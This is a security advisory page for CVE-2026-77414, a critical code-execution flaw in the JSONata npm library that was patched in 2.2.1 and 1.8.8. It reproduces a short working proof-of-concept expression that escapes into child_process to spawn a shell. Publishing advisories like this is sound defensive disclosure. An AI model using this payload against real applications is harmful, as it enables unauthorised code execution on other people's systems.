GHSA-2943-5XFG-GQ5F
Vulnerability from github – Published: 2026-08-21 20:58 – Updated: 2026-08-21 20:58
VLAI
Summary
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Details
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jsonata"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "jsonata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77414"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:58:01Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n $hasOwnProperty := $spread($string);\n $__proto__ := $constructor;\n $constructor(\"return\nprocess.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027})\")();\n)`);\n\nawait expression.evaluate({});\n```",
"id": "GHSA-2943-5xfg-gq5f",
"modified": "2026-08-21T20:58:01Z",
"published": "2026-08-21T20:58:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/pull/799"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"
},
{
"type": "PACKAGE",
"url": "https://github.com/jsonata-js/jsonata"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"
},
{
"type": "WEB",
"url": "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…